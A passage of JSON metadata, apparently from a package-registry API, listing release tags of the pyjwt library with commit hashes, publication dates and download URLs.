2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5d